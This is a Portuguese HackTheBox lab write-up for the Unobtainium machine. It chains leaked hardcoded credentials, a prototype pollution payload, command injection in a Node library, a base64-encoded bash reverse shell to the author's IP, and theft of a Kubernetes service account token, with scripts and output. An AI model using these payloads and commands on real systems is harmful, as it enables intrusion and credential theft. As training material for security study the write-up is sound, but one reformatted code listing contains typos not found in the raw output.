HackTheBox - Writeup Unobtainium
Neste writeup iremos explorar uma máquina linux de nível hard chamada Unobtainium. Esta máquina aborda as seguintes vulnerabilidades e técnicas de exploração:
- Prototype Pollution
- Command Injection
- Kubernetes permission abuse
- Container escape
Recon e primeiro shell
Iremos iniciar realizando uma varredura em nosso alvo buscando por portas abertas, para isso vamos utilizar o nmap:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# nmap -sV --open -Pn 10.129.136.226
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-19 17:27 EST
Nmap scan report for 10.129.136.226
Host is up (0.24s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8443/tcp open ssl/https-alt
31337/tcp open http Node.js Express framework
Podemos notar algumas portas abertas em nosso alvo:
- 22 rodando um OpenSSH 8.2p1
- 80 que esta rodando um servidor web Apache 2.4.41
- 8443 possui algum serviço que utiliza ssl/https
- 31337 que esta rodando uma aplicação em NodeJS Express, um framework de javascript
Ao realizar um curl na porta 31337 temos o retorno de um array vazio:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# curl http://10.129.136.226:31337/
[]
Ou pelo navegador:
Ja na porta 8443 é solicitado que seja usado o ssl/https, conforme informado pelo nmap:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# curl https://10.129.136.226:8443/
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.se/docs/sslcerts.html
curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# curl -k https://10.129.136.226:8443/
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "Unauthorized",
"reason": "Unauthorized",
"code": 401
}
Aqui temos um retorno interessantee, onde pela estrutura do json de retorno podemos constatar que se trata de uma kube-api, que é o endpoint onde é feito a comunicação com o kubernetes.
Visualizando o conteúdo da porta 80 através do navegador, por se tratar um servidor web, temos o seguinte conteúdo:
É uma página de download que disponibiliza uma app de chat multi plataforma com opção de download para pacotes Debian (.deb), Redhat/CentOS (.rpm) e snap que é comumente usado no Ubuntu.
Como estamos rodando em nossa máquina virtual o kali linux vamos realizar o download do arquivo deb.
Com o arquivo em nossa máquina podemos visualizar informações sobre o pacote com o seguinte comando:
──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# dpkg --info unobtainium_1.0.0_amd64.deb
new Debian package, version 2.0.
size 54849036 bytes: control archive=2887 bytes.
400 bytes, 13 lines control
5426 bytes, 80 lines md5sums
289 bytes, 10 lines * postinst #!/bin/bash
74 bytes, 4 lines * postrm #!/bin/bash
Package: unobtainium
Version: 1.0.0
License: ISC
Vendor: felamos <felamos@unobtainium.htb>
Architecture: amd64
Maintainer: felamos <felamos@unobtainium.htb>
Installed-Size: 185617
Depends: libgtk-3-0, libnotify4, libnss3, libxss1, libxtst6, xdg-utils, libatspi2.0-0, libuuid1, libappindicator3-1, libsecret-1-0
Section: default
Priority: extra
Homepage: http://unobtainium.htb
Description:
client
Aqui temos algumas informações sobre depêndencias, mantenedor, versão e scripts contidos no mesmo.
Podemos visualizar os arquivos e saber seu conteúdo:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# dpkg -c unobtainium_1.0.0_amd64.deb
drwxrwxr-x 0/0 0 2021-01-19 01:15 ./
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/32x32/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/32x32/apps/
-rw-r--r-- 0/0 2021 1970-01-04 10:38 ./usr/share/icons/hicolor/32x32/apps/unobtainium.png
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/48x48/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/48x48/apps/
-rw-r--r-- 0/0 4476 1970-01-04 10:38 ./usr/share/icons/hicolor/48x48/apps/unobtainium.png
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/256x256/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/256x256/apps/
-rw-r--r-- 0/0 37977 1970-01-04 10:38 ./usr/share/icons/hicolor/256x256/apps/unobtainium.png
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/128x128/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/128x128/apps/
-rw-r--r-- 0/0 18107 1970-01-04 10:38 ./usr/share/icons/hicolor/128x128/apps/unobtainium.png
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/64x64/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/64x64/apps/
-rw-r--r-- 0/0 6621 1970-01-04 10:38 ./usr/share/icons/hicolor/64x64/apps/unobtainium.png
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/16x16/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/icons/hicolor/16x16/apps/
-rw-r--r-- 0/0 832 1970-01-04 10:38 ./usr/share/icons/hicolor/16x16/apps/unobtainium.png
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/applications/
-rw-rw-r-- 0/0 181 2021-01-19 01:15 ./usr/share/applications/unobtainium.desktop
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/doc/
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./usr/share/doc/unobtainium/
-rw-r--r-- 0/0 146 2021-01-19 01:15 ./usr/share/doc/unobtainium/changelog.gz
drwxr-xr-x 0/0 0 2021-01-19 01:15 ./opt/
drwxrwxr-x 0/0 0 2021-01-19 01:15 ./opt/unobtainium/
-rwxr-xr-x 0/0 6712992 2021-01-19 01:14 ./opt/unobtainium/libvulkan.so
-rw-r--r-- 0/0 124662 2021-01-19 01:14 ./opt/unobtainium/chrome_100_percent.pak
-rwxr-xr-x 0/0 133649008 2021-01-19 01:14 ./opt/unobtainium/unobtainium
-rwxr-xr-x 0/0 3053896 2021-01-19 01:14 ./opt/unobtainium/libffmpeg.so
-rw-r--r-- 0/0 51449 2021-01-19 01:14 ./opt/unobtainium/snapshot_blob.bin
-rw-r--r-- 0/0 172276 2021-01-19 01:14 ./opt/unobtainium/v8_context_snapshot.bin
-rw-r--r-- 0/0 107 2021-01-19 01:14 ./opt/unobtainium/vk_swiftshader_icd.json
-rw-r--r-- 0/0 1060 2021-01-19 01:14 ./opt/unobtainium/LICENSE.electron.txt
drwxrwxr-x 0/0 0 2021-01-19 01:15 ./opt/unobtainium/locales/
-rw-r--r-- 0/0 184543 2021-01-19 01:14 ./opt/unobtainium/locales/th.pak
...
-rwxr-xr-x 0/0 4746864 2021-01-19 01:14 ./opt/unobtainium/chrome-sandbox
-rwxr-xr-x 0/0 249544 2021-01-19 01:14 ./opt/unobtainium/libEGL.so
drwxrwxr-x 0/0 0 2021-01-19 01:15 ./opt/unobtainium/resources/
-rw-rw-r-- 0/0 592850 2021-01-19 01:14 ./opt/unobtainium/resources/app.asar
-rw-r--r-- 0/0 187289 2021-01-19 01:14 ./opt/unobtainium/chrome_200_percent.pak
-rwxr-xr-x 0/0 6992048 2021-01-19 01:14 ./opt/unobtainium/libGLESv2.so
drwxrwxr-x 0/0 0 2021-01-19 01:15 ./opt/unobtainium/swiftshader/
-rwxr-xr-x 0/0 272424 2021-01-19 01:14 ./opt/unobtainium/swiftshader/libEGL.so
-rwxr-xr-x 0/0 2524480 2021-01-19 01:14 ./opt/unobtainium/swiftshader/libGLESv2.so
-rw-r--r-- 0/0 5035729 2021-01-19 01:14 ./opt/unobtainium/resources.pak
-rw-r--r-- 0/0 10527632 2021-01-19 01:14 ./opt/unobtainium/icudtl.dat
-rw-r--r-- 0/0 4562357 2021-01-19 01:14 ./opt/unobtainium/LICENSES.chromium.html
-rwxr-xr-x 0/0 3907784 2021-01-19 01:14 ./opt/unobtainium/libvk_swiftshader.so
E assim descobrimos se tratar de uma app usando electron, um framework javascript para criação de apps baseadas em browser.
O que nos chama atenção é o arquivo ./opt/unobtainium/resources/app.asar, que é um arquivo baseado em tar, que empacota a o código javascript.
Agora que ja sabemos do que se trata podemos extrair o conteúdo e analisar o arquivo app:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# dpkg-deb -R unobtainium_1.0.0_amd64.deb all_files
O comando acima extraiu o conteúdo do .deb para o diretório all_files. Podemos agora extrair o conteúdo do arquivo app.asar:
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# ls -alh all_files
total 20K
drwxrwxr-x 5 root root 4.0K Nov 20 09:12 .
drwxr-xr-x 4 root root 4.0K Nov 20 09:12 ..
drwxrwxr-x 2 root root 4.0K Jan 19 2021 DEBIAN
drwxr-xr-x 3 root root 4.0K Jan 19 2021 opt
drwxr-xr-x 3 root root 4.0K Jan 19 2021 usr
┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/files-deb]
└─# cd all_files/opt/unobtainium/resources
┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# ls -alh
total 588K
drwxrwxr-x 2 root root 4.0K Jan 19 2021 .
drwxrwxr-x 5 root root 4.0K Jan 19 2021 ..
-rw-rw-r-- 1 root root 579K Jan 19 2021 app.asar
Para isso precisamos utilizar a lib asar, para instalar utilizamos o npm:
┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# npm install -g asar
npm WARN deprecated asar@3.2.0: Please use @electron/asar moving forward. There is no API change, just a package name change
added 18 packages in 6s
1 package is looking for funding
run `npm fund` for details
E assim extraimos o conteúdo do arquivo app.asar
┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# asar extract app.asar unobtainium
┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# ls -alh
total 592K
drwxrwxr-x 3 root root 4.0K Nov 20 09:21 .
drwxrwxr-x 5 root root 4.0K Jan 19 2021 ..
-rw-rw-r-- 1 root root 579K Jan 19 2021 app.asar
drwxr-xr-x 3 root root 4.0K Nov 20 09:21 unobtainium
┌──(root㉿kali)-[/home/…/all_files/opt/unobtainium/resources]
└─# cd unobtainium
┌──(root㉿kali)-[/home/…/opt/unobtainium/resources/unobtainium]
└─# ls -alh
total 20K
drwxr-xr-x 3 root root 4.0K Nov 20 09:21 .
drwxrwxr-x 3 root root 4.0K Nov 20 09:21 ..
-rw-r--r-- 1 root root 503 Nov 20 09:21 index.js
-rw-r--r-- 1 root root 207 Nov 20 09:21 package.json
drwxr-xr-x 4 root root 4.0K Nov 20 09:21 src
Temos agora arquivos de uma aplicação em javascript, analisando seu conteúdo encontramos algumas informações interessantes.
Primeiro temos o arquivo app.js que contém credenciais de um usuário para acesso na porta 31337, que é a aplicação em NodeJS que vimos retornar um array vazio:
┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# cat app.js
$(document).ready(function(){
$("#but_submit").click(function(){
var message = $("#message").val().trim();
$.ajax({
url: 'http://unobtainium.htb:31337/',
type: 'put',
dataType:'json',
contentType:'application/json',
processData: false,
data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text": message}}),
success: function(data) {
//$("#output").html(JSON.stringify(data));
$("#output").html("Message has been sent!");
}
});
});
});
Visando automatizar a interação com a aplicação foi criado o seguinte script em python3:
#!/usr/bin/python3
import requests
import json
url = "http://unobtainium.htb:31337/"
data = {
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"message": {
"text": "something"
}
}
json_data = json.dumps(data)
headers = {
"Content-Type": "application/json"
}
response = requests.put(url, data=json_data, headers=headers)
if (response.status_code == 200):
print("Message sent successfully\n")
print(response.text)
else:
print("Failed to send message")
Executando temos o seguinte retorno:
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-put.py
Message sent successfully
{"ok":true}
Temos outro arquivo chamado todo.js com o seguinte conteúdo:
┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# cat todo.js
$.ajax({
url: 'http://unobtainium.htb:31337/todo',
type: 'post',
dataType:'json',
contentType:'application/json',
processData: false,
data: JSON.stringify({"auth": {"name": "felamos", "password": "Winter2021"}, "filename" : "todo.txt"}),
success: function(data) {
$("#output").html(JSON.stringify(data));
}
});
O mesmo também possui autenticação, no entanto, realiza um POST para o endpoint /todo. Vamos copiar nosso script para um novo e realizar o ajuste. Ficando da seguinte forma:
#!/usr/bin/python3
import requests
import json
url = "http://unobtainium.htb:31337/todo"
data = {
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"filename":"todo.js"
}
# Convert dict to json
json_data = json.dumps(data)
headers = {
"Content-Type": "application/json"
}
response = requests.post(url, data=json_data, headers=headers)
if (response.status_code == 200):
print("Message sent successfully\n")
print(response.text)
else:
print("Failed to send message")
E ao executar temos o seguinte retorno:
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-post-todo.py
Message sent successfully
{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}
O retorno veio sem quebra de linha, mas tem o seguinte conteúdo:
- Create administrator zone.
- Update node JS API Server.
- Add Login functionality.
- Complete Get Messages feature.
- Complete ToDo feature.
- Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1
- Improve security
Pontos interessantes, que nos informa que existem features não finalizadas e que alguns pontos precisam de melhora na segurança.
Um ponto interessante dessa interação com o endpoint /todo é que ele le um arquivo txt. E se alterarmos o arquivo para tentar visualizar outros do alvo?
Na primeira tentativa foi inserido o /etc/passwd, como padrão para LFI. No entanto, ocorreu timeout na conexão. Mas conseguimos buscar por outro arquivo no mesmo diretório, como se trata de uma app em javascript o arquivo que tentamos buscar foi o index.js.
E esse conseguimos:
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-post-todo.py
Message sent successfully
{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n {name: 'felamos', password: 'Winter2021'},\n {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n return users.find((u) =>\n u.name === auth.name &&\n u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n res.send(messages);\n});\n\napp.put('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n const message = {\n icon: '__',\n };\n\n _.merge(message, req.body.message, {\n id: lastId++,\n timestamp: Date.now(),\n userName: user.name,\n });\n\n messages.push(message);\n res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n const user = findUser(req.body.auth || {});\n\n if (!user || !user.canDelete) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n messages = messages.filter((m) => m.id !== req.body.messageId);\n res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user || !user.canUpload) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n\n filename = req.body.filename;\n root.upload(\"./\",filename, true);\n res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n const user = findUser(req.body.auth || {});\n if (!user) {\n res.status(403).send({ok: false, error: 'Access denied'});\n return;\n }\n\n filename = req.body.filename;\n testFolder = \"/usr/src/app\";\n fs.readdirSync(testFolder).forEach(file => {\n if (file.indexOf(filename) > -1) {\n var buffer = fs.readFileSync(filename).toString();\n res.send({ok: true, content: buffer});\n }\n });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}
Assim como o arquivo todo.txt o arquivo index.js retornou com a formatação "quebrada", mas utilizando o vscode facilmente podemos ajustar sua identação. E assim temos o seguinte conteúdo:
var root = require("google-cloudstgoogleorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
let messages = [];
let lastId = 1;
function findUser(auth) {
return users.find((u) =>
u.name === auth.name &&
u.password === auth.password);
}
app.use(bodyParser.json());
ap.get('/', (req, res) => {
res.send(messages);
});p
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = {
icon: '__',
};
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});
app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});
app.listen(3000);
console.log('Listening on port 3000...');
Aqui temos basicamente todo o funcionamento da aplicação alvo!
Temos o endpoint /upload que é restrito a usuários que sejam admin.
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});
Temos o objeto User para os usuários:
const users = [
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
Onde podemos ver o usuário que utilizamos para acessar a aplicação e o usuário admin, que possui uma senha gerada aleatóriamente.
Aqui vemos que nosso usuário possui as propriedades name e password, ja o usuário admin possui estas e duas a mais que são canDelete: true e canUpload: true
E aqui encontramos nossa primeiro vulnerabilidade, chamada de prototype pollution.
Prototype pollution ocorre porque o JavaScript permite que objetos herdem propriedades e métodos de seus protótipos. Se as devidas precauções não forem tomadas, podemos explorar esse recurso poluindo a cadeia de protótipos com modificações maliciosas.
Em nosso caso podemos adicionar a nosso usuário as propriedades que o admin tem!
Outro ponto importante é que existe um lib externa sendo usada:
var root = require("google-cloudstgoogleorage-commands");
Analisando a mesma notamos que ela não recebe mais atualizações e possui uma vulnerabilidade de Command Injection:
https://security.snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431
Em uma analise mais detalhada podemos notar que existe uma má implementação da função exec sem uma sanitização, ocorrendo o command injection.
https://github.com/samradical/google-cloudstorage-commands/blob/master/index.js#L11
E onde essa lib esta sendo utilizada? Em nosso endpoint de upload! Ou seja, podemos adicionar permissões para o nosso usuário utilizar o endpoint e assim executar nosso command injection.
Para isso vamos editar nosso primeiro script chamado req-put.py, onde o conteúdo de data ficará da seguinte forma:
data = {
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"message": {
"text": "something",
"__proto__":{
"canUpload": True
}
}
}
Estamos adicionando mais um campo em messsage onde inserimos __proto_ que é um propriedade especial do javascript para acessar uma propriedade especifica do javascript, nesse caso estamos acessando canUpload e setando para true
Executamos nosso script:
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-put.py
Message sent successfully
{"ok":true}
Com nosso usuário podendo realizar uploads, vamos mais um vez copiar nosso script para um novo arquivo, dessa vez chamado req-upload.py:
#!/usr/bin/python3
import requests
import json
url = "http://unobtainium.htb:31337/upload"
data = {
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"filename":"| curl 10.10.14.152:8081/testing #"
}
json_data = json.dumps(data)
headers = {
"Content-Type": "application/json"
}
response = requests.post(url, data=json_data, headers=headers)
if (response.status_code == 200):
print("Message sent successfully\n")
print(response.text)
else:
print("Failed to send message")
Assim como citado na poc iremos adicionar o seguinte payload em filename::
"filename":"| curl 10.10.14.152:8081/testing | base64 -d |bash #"
Conseguimos comprovar o command injection inserindo um curl para nossa máquina local, onde abrimos um servidor python para ouvir na porta 8081. Assim ao executar o script:
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-upload.py
Message sent successfully
{"ok":true,"Uploaded_File":"| curl 10.10.14.152:8081/testing #"}
Temos a comprovação da vulnerabilidade através do retorno:
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/unobtainium]
└─# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.136.226 - - [20/Nov/2023 13:43:46] code 404, message File not found
10.129.136.226 - - [20/Nov/2023 13:43:46] "GET /testing HTTP/1.1" 404 -
Agora precisamos conseguir um shell em nosso alvo! Para isso tentamos inserir diversos payloads, mas qualquer comando inserido que contenham determinados caracteres não executavam.
Para contornar essa situação foi necessário utilizar um shell reverso em base64. Editando o conteúdo de filename para a seguinte forma:
"filename":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE1Mi85MDAxIDA+JjE= | base64 -d |bash #"
Onde o conteúdo do base64 é um shell reverso para nossa máquina local:
❯ echo -n 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE1Mi85MDAxIDA+JjE=' | base64 -d
bash -i >&/dev/tcp/10.10.14.152/9001 0>&1
Aqui temos exemplos de diversos tipos de reverse shell: https://pentestbook.six2dez.com/exploitation/reverse-shells
Em uma aba do terminal iremos utilizar o pwncat para ouvir na porta 9001. O pwncat é um reverse shell "tunado" onde ja existem diversas opções para interagir com o alvo e um shell muito bom.
┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# pwncat-cs -lp 9001
[13:45:25] Welcome to pwncat 🐈! __main__.py:164
E ao executar nosso script:
┌──(kali㉿kali)-[~/hackthebox/machines-linux/unobtainium/scripts]
└─$ python3 req-upload.py
Message sent successfully
{"ok":true,"Uploaded_File":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE1Mi85MDAxIDA+JjE= | base64 -d |bash #"}
Temos o seguinte retorno em nosso pwncat:
┌──(root㉿kali)-[/home/…/resources/unobtainium/src/js]
└─# pwncat-cs -lp 9001
[13:45:25] Welcome to pwncat 🐈! __main__.py:164
[13:54:05] received connection from 10.129.136.226:49621 bind.py:84
[13:54:13] 10.129.136.226:49621: registered new host w/ db manager.py:957
(local) pwncat$
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# id
uid=0(root) gid=0(root) groups=0(root)
User flag e movimentação lateral
Temos nosso shell no alvo, mas existe um porém. Em uma rápida análise podemos constatar que estamos em um container:
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# env
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HISTCONTROL=ignorespace
HOSTNAME=webapp-deployment-9546bc7cb-b7k2g
WEBAPP_DEPLOYMENT_PORT_3000_TCP_PROTO=tcp
YARN_VERSION=1.22.19
PWD=/usr/src/app
WEBAPP_DEPLOYMENT_PORT=tcp://10.43.177.186:3000
WEBAPP_DEPLOYMENT_SERVICE_PORT=3000
WEBAPP_DEPLOYMENT_SERVICE_HOST=10.43.177.186
HOME=/root
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
WEBAPP_DEPLOYMENT_PORT_3000_TCP_ADDR=10.43.177.186
TERM=xterm-256color
WEBAPP_DEPLOYMENT_PORT_3000_TCP=tcp://10.43.177.186:3000
SHLVL=3
KUBERNETES_PORT_443_TCP_PROTO=tcp
canUpload=true
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
PS1=$(command printf "\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ ")
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=14.20.0
WEBAPP_DEPLOYMENT_PORT_3000_TCP_PORT=3000
_=/usr/bin/env
Sendo mais especifico estamos dentro do um container em um pod no kubernetes.
O kubernetes é um orquestrador de containers com foco em automatizar a implantação e gerencia automatizada de software, a sua unidade minima é o pod.
Através das envs podemos ver diversas variáveis de ambiente que nos mostram diversas configurações do pod em que estamos.
A porta que esta exposta (3000) o endereço ip do pod (10.43.177.186), versão do NodeJS (14.20.0), dentre outras configurações. Outro ponto interessante é o hostname do container, que é o nome do pod (webapp-deployment-9546bc7cb-b7k2g)
Um ponto interessante é que os pods armazenam arquivos que permitem que o mesmo se comunique com a api do kubernetes, são dois arquivos que iremos buscar, o token e o certificate.
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzMyMDQxNzYyLCJpYXQiOjE3MDA1MDU3NjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItYjdrMmciLCJ1aWQiOiIyMjA4Mzc5Yi0yY2U2LTQ0YjktYjlhOC1hOWU3N2Q1NTIwYTEifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNzAwNTA5MzY5fSwibmJmIjoxNzAwNTA1NzYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.ZMHXhT9cWaISjY9LgPDapLjR95pakI-CUmfhf2ohNQL21J8Xc2sNxzuePSJtS3W2qnZqySdFDgZKCLp4nTYZPP3RvVDneG57AN_yuvee2W8sPqmtlpY-5CjZc4ZAK21ygjajRcwwsyWUQa3POgmtxXbpC1sG5Om3-fqxKn4r80M79FEI0xmofcedyH1BwxzoKqH4rOD5-opOXTE9KrNEbv-DTWFJDLZ_BAq_2_ANyDQb94ajb3Zyih7ioDFusYgUT-OuK94EHzGetQ6ip2g9RRclCbiag75xd63_OW-KMcP-_2JydkIhlJbMvR8qaVu1hypM1m_Zk1FH53QZ5KSUQA
root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
Estes dois arquivos são suficientes para que consigamos nos comunicar com a api do kubernetes com as mesmas permissões que o pod possui.
Lembrando que a porta 8443 do nosso alvo esta exposta e é a kubeapi. Podemos salvar localmente esses dois arquivos (ca.crt e token) e utilizar para esta comunicação.
